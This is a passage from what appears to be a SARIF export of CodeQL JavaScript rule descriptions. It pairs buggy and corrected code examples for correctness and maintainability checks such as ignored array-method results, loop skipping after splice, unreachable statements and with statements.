Recommendation\nUse the returned value from the calls to `concat`, `join` or `slice`.\n\n\n## Example\nA function `extend` is defined in the following example. The function uses the `concat` method to add elements to the `arr` array. However, the `extend` function has no effect as the return value from `concat` is ignored:\n\n\n```javascript\nvar arr = [1,2,3];\n\nfunction extend(others) {\n\tarr.concat(others);\n}\n```\nAssigning the returned value from the call to `concat` to the `arr` variable fixes the error:\n\n\n```javascript\nvar arr = [1,2,3];\n\nfunction extend(others) {\n\tarr = arr.concat(others);\n}\n```\n\n## References\n* Mozilla Developer Network: [Array concat](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat).\n* Mozilla Developer Network: [Array slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice).\n* Mozilla Developer Network: [Array join](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join).\n","markdown":"# Ignoring result from pure array method\nThe `concat`, `join` and `slice` methods are pure and do not modify any of the inputs or the array the method is called on. It is therefore generally an error to ignore the return value from a call to one of these methods.\n\n\n## Recommendation\nUse the returned value from the calls to `concat`, `join` or `slice`.\n\n\n## Example\nA function `extend` is defined in the following example. The function uses the `concat` method to add elements to the `arr` array. However, the `extend` function has no effect as the return value from `concat` is ignored:\n\n\n```javascript\nvar arr = [1,2,3];\n\nfunction extend(others) {\n\tarr.concat(others);\n}\n```\nAssigning the returned value from the call to `concat` to the `arr` variable fixes the error:\n\n\n```javascript\nvar arr = [1,2,3];\n\nfunction extend(others) {\n\tarr = arr.concat(others);\n}\n```\n\n## References\n* Mozilla Developer Network: [Array concat](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat).\n* Mozilla Developer Network: [Array slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice).\n* Mozilla Developer Network: [Array join](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Ignoring the result of an array method that does not modify its receiver is generally an error.","id":"js/ignore-array-result","kind":"problem","name":"Ignoring result from pure array method","precision":"high","problem.severity":"warning"}},{"id":"js/loop-iteration-skipped-due-to-shifting","name":"js/loop-iteration-skipped-due-to-shifting","shortDescription":{"text":"Loop iteration skipped due to shifting"},"fullDescription":{"text":"Removing elements from an array while iterating over it can cause the loop to skip over some elements, unless the loop index is decremented accordingly."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Loop iteration skipped due to shifting\nItems can be removed from an array using the `splice` method, but when doing so, all subsequent items will be shifted to a lower index. If this is done while iterating over the array, the shifting may cause the loop to skip over the element immediately after the removed element.\n\n\n## Recommendation\nDetermine what the loop is supposed to do:\n\n* If the intention is to remove *every occurrence* of a certain value, decrement the loop counter after removing an element, to counterbalance the shift.\n* If the loop is only intended to remove *a single value* from the array, consider adding a `break` after the `splice` call.\n* If the loop is deliberately skipping over elements, consider moving the index increment into the body of the loop, so it is clear that the loop is not a trivial array iteration loop.\n\n## Example\nIn this example, a function is intended to remove \"`..`\" parts from a path:\n\n\n```javascript\nfunction removePathTraversal(path) {\n  let parts = path.split('/');\n  for (let i = 0; i < parts.length; ++i) {\n    if (parts[i] === '..') {\n      parts.splice(i, 1);\n    }\n  }\n  return path.join('/');\n}\n\n```\nHowever, whenever the input contain two \"`..`\" parts right after one another, only the first will be removed. For example, the string \"`../../secret.txt`\" will be mapped to \"`../secret.txt`\". After removing the element at index 0, the loop counter is incremented to 1, but the second \"`..`\" string has now been shifted down to index 0 and will therefore be skipped.\n\nOne way to avoid this is to decrement the loop counter after removing an element from the array:\n\n\n```javascript\nfunction removePathTraversal(path) {\n  let parts = path.split('/');\n  for (let i = 0; i < parts.length; ++i) {\n    if (parts[i] === '..') {\n      parts.splice(i, 1);\n      --i; // adjust for array shift\n    }\n  }\n  return path.join('/');\n}\n\n```\nAlternatively, use the `filter` method:\n\n\n```javascript\nfunction removePathTraversal(path) {\n  return path.split('/').filter(part => part !== '..').join('/');\n}\n\n```\n\n## References\n* MDN: [Array.prototype.splice()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice).\n* MDN: [Array.prototype.filter()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter).\n","markdown":"# Loop iteration skipped due to shifting\nItems can be removed from an array using the `splice` method, but when doing so, all subsequent items will be shifted to a lower index. If this is done while iterating over the array, the shifting may cause the loop to skip over the element immediately after the removed element.\n\n\n## Recommendation\nDetermine what the loop is supposed to do:\n\n* If the intention is to remove *every occurrence* of a certain value, decrement the loop counter after removing an element, to counterbalance the shift.\n* If the loop is only intended to remove *a single value* from the array, consider adding a `break` after the `splice` call.\n* If the loop is deliberately skipping over elements, consider moving the index increment into the body of the loop, so it is clear that the loop is not a trivial array iteration loop.\n\n## Example\nIn this example, a function is intended to remove \"`..`\" parts from a path:\n\n\n```javascript\nfunction removePathTraversal(path) {\n  let parts = path.split('/');\n  for (let i = 0; i < parts.length; ++i) {\n    if (parts[i] === '..') {\n      parts.splice(i, 1);\n    }\n  }\n  return path.join('/');\n}\n\n```\nHowever, whenever the input contain two \"`..`\" parts right after one another, only the first will be removed. For example, the string \"`../../secret.txt`\" will be mapped to \"`../secret.txt`\". After removing the element at index 0, the loop counter is incremented to 1, but the second \"`..`\" string has now been shifted down to index 0 and will therefore be skipped.\n\nOne way to avoid this is to decrement the loop counter after removing an element from the array:\n\n\n```javascript\nfunction removePathTraversal(path) {\n  let parts = path.split('/');\n  for (let i = 0; i < parts.length; ++i) {\n    if (parts[i] === '..') {\n      parts.splice(i, 1);\n      --i; // adjust for array shift\n    }\n  }\n  return path.join('/');\n}\n\n```\nAlternatively, use the `filter` method:\n\n\n```javascript\nfunction removePathTraversal(path) {\n  return path.split('/').filter(part => part !== '..').join('/');\n}\n\n```\n\n## References\n* MDN: [Array.prototype.splice()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice).\n* MDN: [Array.prototype.filter()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Removing elements from an array while iterating over it can cause the loop to skip over some elements,\n              unless the loop index is decremented accordingly.","id":"js/loop-iteration-skipped-due-to-shifting","kind":"problem","name":"Loop iteration skipped due to shifting","precision":"high","problem.severity":"warning"}},{"id":"js/useless-comparison-test","name":"js/useless-comparison-test","shortDescription":{"text":"Useless comparison test"},"fullDescription":{"text":"A comparison that always evaluates to true or always evaluates to false may indicate faulty logic and dead code."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Useless comparison test\nIf a condition always evaluates to true or always evaluates to false, this often indicates incomplete code or a latent bug, and it should be examined carefully.\n\n\n## Recommendation\nExamine the surrounding code to determine why the condition is redundant. If it is no longer needed, remove it.\n\nIf the check is needed to guard against `NaN` values, insert a comment explaining the possibility of `NaN`.\n\n\n## Example\nThe following example finds the index of an element in a given slice of the array:\n\n\n```javascript\nfunction findValue(values, x, start, end) {\n  let i;\n  for (i = start; i < end; ++i) {\n    if (values[i] === x) {\n        return i;\n    }\n  }\n  if (i < end) {\n    return i;\n  }\n  return -1;\n}\n\n```\nThe condition `i < end` at the end is always false, however. The code can be clarified if the redundant condition is removed:\n\n\n```javascript\nfunction findValue(values, x, start, end) {\n  for (let i = start; i < end; ++i) {\n    if (values[i] === x) {\n        return i;\n    }\n  }\n  return -1;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy), [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy).\n","markdown":"# Useless comparison test\nIf a condition always evaluates to true or always evaluates to false, this often indicates incomplete code or a latent bug, and it should be examined carefully.\n\n\n## Recommendation\nExamine the surrounding code to determine why the condition is redundant. If it is no longer needed, remove it.\n\nIf the check is needed to guard against `NaN` values, insert a comment explaining the possibility of `NaN`.\n\n\n## Example\nThe following example finds the index of an element in a given slice of the array:\n\n\n```javascript\nfunction findValue(values, x, start, end) {\n  let i;\n  for (i = start; i < end; ++i) {\n    if (values[i] === x) {\n        return i;\n    }\n  }\n  if (i < end) {\n    return i;\n  }\n  return -1;\n}\n\n```\nThe condition `i < end` at the end is always false, however. The code can be clarified if the redundant condition is removed:\n\n\n```javascript\nfunction findValue(values, x, start, end) {\n  for (let i = start; i < end; ++i) {\n    if (values[i] === x) {\n        return i;\n    }\n  }\n  return -1;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy), [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"A comparison that always evaluates to true or always evaluates to false may\n              indicate faulty logic and dead code.","id":"js/useless-comparison-test","kind":"problem","name":"Useless comparison test","precision":"high","problem.severity":"warning"}},{"id":"js/unreachable-statement","name":"js/unreachable-statement","shortDescription":{"text":"Unreachable statement"},"fullDescription":{"text":"Unreachable statements are often indicative of missing code or latent bugs and should be avoided."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unreachable statement\nAn unreachable statement almost always indicates missing code or a latent bug and should be examined carefully.\n\n\n## Recommendation\nExamine the surrounding code to determine why the statement has become unreachable. If it is no longer needed, remove the statement.\n\n\n## Example\nIn the following example, a spurious semicolon after the `if` condition at line 2 makes the `return` statement on line 4 unreachable: the function will always execute the `return` statement on line 3 first, so it will never reach line 4.\n\n\n```javascript\nfunction f() {\n\tif (someCond());\n\t\treturn 23;\n\treturn 42;\n}\n```\nTo correct this issue, remove the spurious semicolon:\n\n\n```javascript\nfunction f() {\n\tif (someCond())\n\t\treturn 23;\n\treturn 42;\n}\n```\n\n## References\n* Wikipedia: [Unreachable code](http://en.wikipedia.org/wiki/Unreachable_code).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n","markdown":"# Unreachable statement\nAn unreachable statement almost always indicates missing code or a latent bug and should be examined carefully.\n\n\n## Recommendation\nExamine the surrounding code to determine why the statement has become unreachable. If it is no longer needed, remove the statement.\n\n\n## Example\nIn the following example, a spurious semicolon after the `if` condition at line 2 makes the `return` statement on line 4 unreachable: the function will always execute the `return` statement on line 3 first, so it will never reach line 4.\n\n\n```javascript\nfunction f() {\n\tif (someCond());\n\t\treturn 23;\n\treturn 42;\n}\n```\nTo correct this issue, remove the spurious semicolon:\n\n\n```javascript\nfunction f() {\n\tif (someCond())\n\t\treturn 23;\n\treturn 42;\n}\n```\n\n## References\n* Wikipedia: [Unreachable code](http://en.wikipedia.org/wiki/Unreachable_code).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-561"],"description":"Unreachable statements are often indicative of missing code or latent bugs and should be avoided.","id":"js/unreachable-statement","kind":"problem","name":"Unreachable statement","precision":"very-high","problem.severity":"warning"}},{"id":"js/label-in-switch","name":"js/label-in-switch","shortDescription":{"text":"Non-case label in switch statement"},"fullDescription":{"text":"A non-case label appearing in a switch statement that is textually aligned with a case label is confusing to read, or may even indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Non-case label in switch statement\nJavaScript allows to freely mix `case` labels and ordinary statement labels in the body of a `switch` statement. However, this is confusing to read (especially if both kinds of labels have the same amount of indentation), and indeed most likely the result of a typo.\n\n\n## Recommendation\nExamine the statement labels to see whether they were meant to be case labels. If not, consider wrapping them into a statement block and indent them to set them apart visually from the case labels.\n\n\n## Example\nIn this example, the label `case3` is most likely a typo for `case 3` and should be fixed.\n\n\n```javascript\nfunction f(x) {\n\tswitch (x) {\n\tcase 1:\n\tcase 2:\n\tcase3:\n\t\treturn true;\n\tdefault:\n\t\treturn false;\n\t}\n}\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 12.11. ECMA, 2011.\n","markdown":"# Non-case label in switch statement\nJavaScript allows to freely mix `case` labels and ordinary statement labels in the body of a `switch` statement. However, this is confusing to read (especially if both kinds of labels have the same amount of indentation), and indeed most likely the result of a typo.\n\n\n## Recommendation\nExamine the statement labels to see whether they were meant to be case labels. If not, consider wrapping them into a statement block and indent them to set them apart visually from the case labels.\n\n\n## Example\nIn this example, the label `case3` is most likely a typo for `case 3` and should be fixed.\n\n\n```javascript\nfunction f(x) {\n\tswitch (x) {\n\tcase 1:\n\tcase 2:\n\tcase3:\n\t\treturn true;\n\tdefault:\n\t\treturn false;\n\t}\n}\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 12.11. ECMA, 2011.\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"A non-case label appearing in a switch statement that is textually aligned with a case\n              label is confusing to read, or may even indicate a bug.","id":"js/label-in-switch","kind":"problem","name":"Non-case label in switch statement","precision":"very-high","problem.severity":"warning"}},{"id":"js/trivial-conditional","name":"js/trivial-conditional","shortDescription":{"text":"Useless conditional"},"fullDescription":{"text":"If a conditional expression always evaluates to true or always evaluates to false, this suggests incomplete code or a logic error."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Useless conditional\nIf a condition always evaluates to true or always evaluates to false, this often indicates incomplete code or a latent bug and should be examined carefully.\n\n\n## Recommendation\nExamine the surrounding code to determine why the condition is useless. If it is no longer needed, remove it.\n\n\n## Example\nThe following example constructs an array `lines`, and then attempts to check whether it has any elements by means of an if conditional `if (!lines)`.\n\n\n```javascript\nfunction getLastLine(input) {\n  var lines = [], nextLine;\n  while ((nextLine = readNextLine(input)))\n    lines.push(nextLine);\n  if (!lines)\n    throw new Error(\"No lines!\");\n  return lines[lines.length-1];\n}\n```\nNote that in JavaScript (unlike some other languages) arrays and objects are always considered to be true when evaluated in a Boolean context. The code should instead check `lines.length`:\n\n\n```javascript\nfunction getLastLine(input) {\n  var lines = [], nextLine;\n  while ((nextLine = readNextLine(input)))\n    lines.push(nextLine);\n  if (!lines.length)\n    throw new Error(\"No lines!\");\n  return lines[lines.length-1];\n}\n```\n\n## References\n* Mozilla Developer Network: [Truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy), [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n","markdown":"# Useless conditional\nIf a condition always evaluates to true or always evaluates to false, this often indicates incomplete code or a latent bug and should be examined carefully.\n\n\n## Recommendation\nExamine the surrounding code to determine why the condition is useless. If it is no longer needed, remove it.\n\n\n## Example\nThe following example constructs an array `lines`, and then attempts to check whether it has any elements by means of an if conditional `if (!lines)`.\n\n\n```javascript\nfunction getLastLine(input) {\n  var lines = [], nextLine;\n  while ((nextLine = readNextLine(input)))\n    lines.push(nextLine);\n  if (!lines)\n    throw new Error(\"No lines!\");\n  return lines[lines.length-1];\n}\n```\nNote that in JavaScript (unlike some other languages) arrays and objects are always considered to be true when evaluated in a Boolean context. The code should instead check `lines.length`:\n\n\n```javascript\nfunction getLastLine(input) {\n  var lines = [], nextLine;\n  while ((nextLine = readNextLine(input)))\n    lines.push(nextLine);\n  if (!lines.length)\n    throw new Error(\"No lines!\");\n  return lines[lines.length-1];\n}\n```\n\n## References\n* Mozilla Developer Network: [Truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy), [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-570","external/cwe/cwe-571"],"description":"If a conditional expression always evaluates to true or always\n              evaluates to false, this suggests incomplete code or a logic\n              error.","id":"js/trivial-conditional","kind":"problem","name":"Useless conditional","precision":"very-high","problem.severity":"warning"}},{"id":"js/incomplete-object-initialization","name":"js/incomplete-object-initialization","shortDescription":{"text":"Use of incompletely initialized object"},"fullDescription":{"text":"Accessing 'this' or a property of 'super' in the constructor of a subclass before calling the super constructor will cause a runtime error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Use of incompletely initialized object\nIf a class extends another class, its constructor needs to call the super constructor before referencing `this` or accessing properties through `super`. Failure to do so will cause a runtime error.\n\n\n## Recommendation\nInsert a super constructor call.\n\n\n## Example\nIn the following example, class `A` extends class `B`, but its constructor assigns to `this.x` without first invoking the super constructor, which will cause a runtime error.\n\n```javascript\n\nclass A extends B {\n  constructor() { this.x = 42; }\n}\n\n```\nTo prevent the error, a super constructor call should be inserted:\n\n```javascript\n\nclass A extends B {\n  constructor() { super(); this.x = 42; }\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Sub classing with extends](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes#Sub_classing_with_extends).\n","markdown":"# Use of incompletely initialized object\nIf a class extends another class, its constructor needs to call the super constructor before referencing `this` or accessing properties through `super`. Failure to do so will cause a runtime error.\n\n\n## Recommendation\nInsert a super constructor call.\n\n\n## Example\nIn the following example, class `A` extends class `B`, but its constructor assigns to `this.x` without first invoking the super constructor, which will cause a runtime error.\n\n```javascript\n\nclass A extends B {\n  constructor() { this.x = 42; }\n}\n\n```\nTo prevent the error, a super constructor call should be inserted:\n\n```javascript\n\nclass A extends B {\n  constructor() { super(); this.x = 42; }\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Sub classing with extends](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes#Sub_classing_with_extends).\n"},"properties":{"tags":["quality","reliability","correctness","language-features"],"description":"Accessing 'this' or a property of 'super' in the constructor of a\n              subclass before calling the super constructor will cause a runtime error.","id":"js/incomplete-object-initialization","kind":"problem","name":"Use of incompletely initialized object","precision":"high","problem.severity":"error"}},{"id":"js/non-linear-pattern","name":"js/non-linear-pattern","shortDescription":{"text":"Non-linear pattern"},"fullDescription":{"text":"If the same pattern variable appears twice in an array or object pattern, the second binding will silently overwrite the first binding, which is probably unintentional."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Non-linear pattern\nIf the same pattern variable is bound multiple times in the same object or array pattern, the last binding overwrites all of the earlier ones. This is most likely unintended and should be avoided.\n\nIn TypeScript, a common mistake is to try to write type annotations inside a pattern. This is not possible, and the type annotation should come after the pattern.\n\n\n## Recommendation\nRename the pattern variables to have different names. In an array pattern, elements that do not need to be bound can be omitted.\n\n\n## Example\nIn the following example, the function `distanceFromOrigin` uses an array pattern to decompose its argument `point`. The pattern binds `x` twice: first, `x` is bound to `point[0]`, the first element of `point`; this binding is then immediately overwritten by a binding to `point[1]`, which is probably unintended.\n\n\n```javascript\nfunction distanceFromOrigin(point) {\n    var [x, x] = point;\n    return Math.sqrt(x*x + y*y);\n}\n\n```\nFrom context, it appears that the second binding should have been for variable `y` like this:\n\n\n```javascript\nfunction distanceFromOrigin(point) {\n    var [x, y] = point;\n    return Math.sqrt(x*x + y*y);\n}\n\n```\nThis can sometimes happen in TypeScript, due to the apparent similarity between property patterns and type annotations. In the following example, the function uses a pattern parameter with properties `x` and `y`. These appear to have type `number`, but are in fact untyped properties both stored in a variable named `number`.\n\n\n```javascript\nfunction distance({x: number, y: number}) {\n    return Math.sqrt(x*x + y*y);\n}\n\n```\nIt is not possible to specify type annotations inside a pattern. The correct way is to specify the type after the parameter:\n\n\n```javascript\nfunction distance({x, y}: {x: number, y: number}) {\n    return Math.sqrt(x*x + y*y);\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Destructuring assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment).\n","markdown":"# Non-linear pattern\nIf the same pattern variable is bound multiple times in the same object or array pattern, the last binding overwrites all of the earlier ones. This is most likely unintended and should be avoided.\n\nIn TypeScript, a common mistake is to try to write type annotations inside a pattern. This is not possible, and the type annotation should come after the pattern.\n\n\n## Recommendation\nRename the pattern variables to have different names. In an array pattern, elements that do not need to be bound can be omitted.\n\n\n## Example\nIn the following example, the function `distanceFromOrigin` uses an array pattern to decompose its argument `point`. The pattern binds `x` twice: first, `x` is bound to `point[0]`, the first element of `point`; this binding is then immediately overwritten by a binding to `point[1]`, which is probably unintended.\n\n\n```javascript\nfunction distanceFromOrigin(point) {\n    var [x, x] = point;\n    return Math.sqrt(x*x + y*y);\n}\n\n```\nFrom context, it appears that the second binding should have been for variable `y` like this:\n\n\n```javascript\nfunction distanceFromOrigin(point) {\n    var [x, y] = point;\n    return Math.sqrt(x*x + y*y);\n}\n\n```\nThis can sometimes happen in TypeScript, due to the apparent similarity between property patterns and type annotations. In the following example, the function uses a pattern parameter with properties `x` and `y`. These appear to have type `number`, but are in fact untyped properties both stored in a variable named `number`.\n\n\n```javascript\nfunction distance({x: number, y: number}) {\n    return Math.sqrt(x*x + y*y);\n}\n\n```\nIt is not possible to specify type annotations inside a pattern. The correct way is to specify the type after the parameter:\n\n\n```javascript\nfunction distance({x, y}: {x: number, y: number}) {\n    return Math.sqrt(x*x + y*y);\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Destructuring assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment).\n"},"properties":{"tags":["quality","reliability","correctness","language-features"],"description":"If the same pattern variable appears twice in an array or object pattern,\n              the second binding will silently overwrite the first binding, which is probably\n              unintentional.","id":"js/non-linear-pattern","kind":"problem","name":"Non-linear pattern","precision":"very-high","problem.severity":"error"}},{"id":"js/syntax-error","name":"js/syntax-error","shortDescription":{"text":"Syntax error"},"fullDescription":{"text":"A piece of code could not be parsed due to syntax errors."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Syntax error\nSyntax errors prevent code from executing correctly. If a piece of code contains syntax errors, this most likely indicates that it is never run and thus is dead code that should be removed.\n\n\n## Recommendation\nFix the syntax error. It may also be worth investigating whether the file containing the erroneous code fragment is ever included from anywhere. If it is not, then it is dead code, which should be removed.\n\n\n## Example\nIn the following example, function `findBox` contains incomplete code: the string literal and its containing block statement are not properly terminated, leading to a syntax error.\n\n\n```javascript\nfunction findBox() {\n  return $(\"box.important\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 15.11.6.4. ECMA, 2011.\n","markdown":"# Syntax error\nSyntax errors prevent code from executing correctly. If a piece of code contains syntax errors, this most likely indicates that it is never run and thus is dead code that should be removed.\n\n\n## Recommendation\nFix the syntax error. It may also be worth investigating whether the file containing the erroneous code fragment is ever included from anywhere. If it is not, then it is dead code, which should be removed.\n\n\n## Example\nIn the following example, function `findBox` contains incomplete code: the string literal and its containing block statement are not properly terminated, leading to a syntax error.\n\n\n```javascript\nfunction findBox() {\n  return $(\"box.important\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 15.11.6.4. ECMA, 2011.\n"},"properties":{"tags":["reliability","correctness","language-features"],"description":"A piece of code could not be parsed due to syntax errors.","id":"js/syntax-error","kind":"problem","name":"Syntax error","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/setter-return","name":"js/setter-return","shortDescription":{"text":"Useless return in setter"},"fullDescription":{"text":"Returning a value from a setter function is useless, since it will always be ignored."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Useless return in setter\nReturning a value from a property setter function is useless, since it will always be ignored.\n\n\n## Recommendation\nRemove the return statement altogether, or replace it with a simple `return;` statement that does not return a value.\n\n\n## Example\nThe following example shows a constructor function `Point` that uses property accessors on `x` and `y` to ensure that they are only set to integer values. It returns the new values for `x` and `y` from their setters, but these return values will simply be ignored.\n\n\n```javascript\nfunction Point(x, y) {\n\treturn {\n\t\tget x() { return x; },\n\t\tset x(_x) { x = _x|0; return x; },\n\t\tget y() { return y; },\n\t\tset y(_y) { y = _y|0; return y; }\n\t};\n}\n```\nIt would be clearer to omit the return statements:\n\n\n```javascript\nfunction Point(x, y) {\n\treturn {\n\t\tget x() { return x; },\n\t\tset x(_x) { x = _x|0; },\n\t\tget y() { return y; },\n\t\tset y(_y) { y = _y|0; }\n\t};\n}\n```\n\n## References\n* Mozilla Developer Network: [Property setters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set).\n","markdown":"# Useless return in setter\nReturning a value from a property setter function is useless, since it will always be ignored.\n\n\n## Recommendation\nRemove the return statement altogether, or replace it with a simple `return;` statement that does not return a value.\n\n\n## Example\nThe following example shows a constructor function `Point` that uses property accessors on `x` and `y` to ensure that they are only set to integer values. It returns the new values for `x` and `y` from their setters, but these return values will simply be ignored.\n\n\n```javascript\nfunction Point(x, y) {\n\treturn {\n\t\tget x() { return x; },\n\t\tset x(_x) { x = _x|0; return x; },\n\t\tget y() { return y; },\n\t\tset y(_y) { y = _y|0; return y; }\n\t};\n}\n```\nIt would be clearer to omit the return statements:\n\n\n```javascript\nfunction Point(x, y) {\n\treturn {\n\t\tget x() { return x; },\n\t\tset x(_x) { x = _x|0; },\n\t\tget y() { return y; },\n\t\tset y(_y) { y = _y|0; }\n\t};\n}\n```\n\n## References\n* Mozilla Developer Network: [Property setters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set).\n"},"properties":{"tags":["quality","maintainability","useless-code","language-features"],"description":"Returning a value from a setter function is useless, since it will\n              always be ignored.","id":"js/setter-return","kind":"problem","name":"Useless return in setter","precision":"very-high","problem.severity":"warning"}},{"id":"js/with-statement","name":"js/with-statement","shortDescription":{"text":"With statement"},"fullDescription":{"text":"The 'with' statement has subtle semantics and should not be used."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# With statement\nThe `with` statement provides a shorthand when accessing many properties of the same object. If a property is not found on that object, enclosing scopes are searched for a variable of the same name. This is confusing and makes code brittle and hard to read. For this reason, `with` is best avoided.\n\n\n## Recommendation\nEliminate `with` statements by introducing explicit property accesses.\n\n\n## Example\nThe following code snippet reads properties `firstName`, `lastName` and `email` from the object stored in `record` by means of a `with` statement. It also invokes the `addRecord` function, which is presumably defined in an enclosing scope.\n\n\n```javascript\nfunction process(record) {\n\twith (record) {\n\t\taddRecord(firstName + \" \" + lastName, email);\n\t}\n}\n```\nNote that if `record` does not have any of the properties `firstName`, `lastName` or `email`, they will be looked up as variables in enclosing scopes. Conversely, if it should happen to have a property `addRecord`, the function call will attempt to invoke the value of this property as a method.\n\nTo clarify the intended meaning of the code, the `with` statement should be removed and property accesses should be introduced to make it explicit which names are intended to be read from `record`, and which ones are intended to be looked up in enclosing scopes:\n\n\n```javascript\nfunction process(record) {\n\taddRecord(record.firstName + \" \" + record.lastName, record.email);\n}\n```\nNote that `with` statements are not allowed in strict mode code.\n\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix B.2. O'Reilly, 2008.\n","markdown":"# With statement\nThe `with` statement provides a shorthand when accessing many properties of the same object. If a property is not found on that object, enclosing scopes are searched for a variable of the same name. This is confusing and makes code brittle and hard to read. For this reason, `with` is best avoided.\n\n\n## Recommendation\nEliminate `with` statements by introducing explicit property accesses.\n\n\n## Example\nThe following code snippet reads properties `firstName`, `lastName` and `email` from the object stored in `record` by means of a `with` statement. It also invokes the `addRecord` function, which is presumably defined in an enclosing scope.\n\n\n```javascript\nfunction process(record) {\n\twith (record) {\n\t\taddRecord(firstName + \" \" + lastName, email);\n\t}\n}\n```\nNote that if `record` does not have any of the properties `firstName`, `lastName` or `email`, they will be looked up as variables in enclosing scopes. Conversely, if it should happen to have a property `addRecord`, the function call will attempt to invoke the value of this property as a method.\n\nTo clarify the intended meaning of the code, the `with` statement should be removed and property accesses should be introduced to make it explicit which names are intended to be read from `record`, and which ones are intended to be looked up in enclosing scopes:\n\n\n```javascript\nfunction process(record) {\n\taddRecord(record.firstName + \" \" + record.lastName, record.email);\n}\n```\nNote that `with` statements are not allowed in strict mode code.\n\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix B.2. O'Reilly, 2008.\n"},"properties":{"tags":["quality","maintainability","complexity","language-features"],"description":"The 'with' statement has subtle semantics and should not be used.","id":"js/with-statement","kind":"problem","name":"With statement","precision":"very-high","problem.severity":"warning"}},{"id":"js/for-in-comprehension","name":"js/for-in-comprehension","shortDescription":{"text":"Use of for-in comprehension blocks"},"fullDescription":{"text":"'for'-'in' comprehension blocks are a Mozilla-specific language extension that is no longer supported."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Use of for-in comprehension blocks\n`for`-`in` blocks in array comprehensions are a Mozilla-specific language extensions that is no longer supported even by SpiderMonkey, and is unlikely to be included in future ECMAScript standards. This language feature should not be used.\n\n\n## Recommendation\nThe `for`-`in` block can be replaced by a (standards-compliant) `for`-`of` block iterating over a list of property names obtained, for example, from `Object.keys`.\n\n\n## Example\nIn the following contrived example, a `for`-`in` block is used to iterate over the keys `i` of an array and construct an array of strings of the form `\"v = a[i]\"`, where `v` is the value of `a[i]`.\n\n\n```javascript\nvar a = [23,,42];\nvar desc = [for(i in a) i + \" = a[\" + i + \"]\"];\n\n```\nThe example can be rewritten to use a `for`-`of` block iterating over `Object.keys(a)` instead.\n\n\n```javascript\nvar a = [23,,42];\nvar desc = [for(i of Object.keys(a)) i + \" = a[\" + i + \"]\"];\n\n```\nNote that `Object.keys` only includes own properties, not properties inherited from a prototype. If the latter behavior is needed, the array comprehension should be replaced by a `for`-`in` loop that imperatively populates the result array.\n\n\n## References\n* Mozilla Developer Network: [Array comprehensions: Differences to the older JS1.7.2/JS1.8 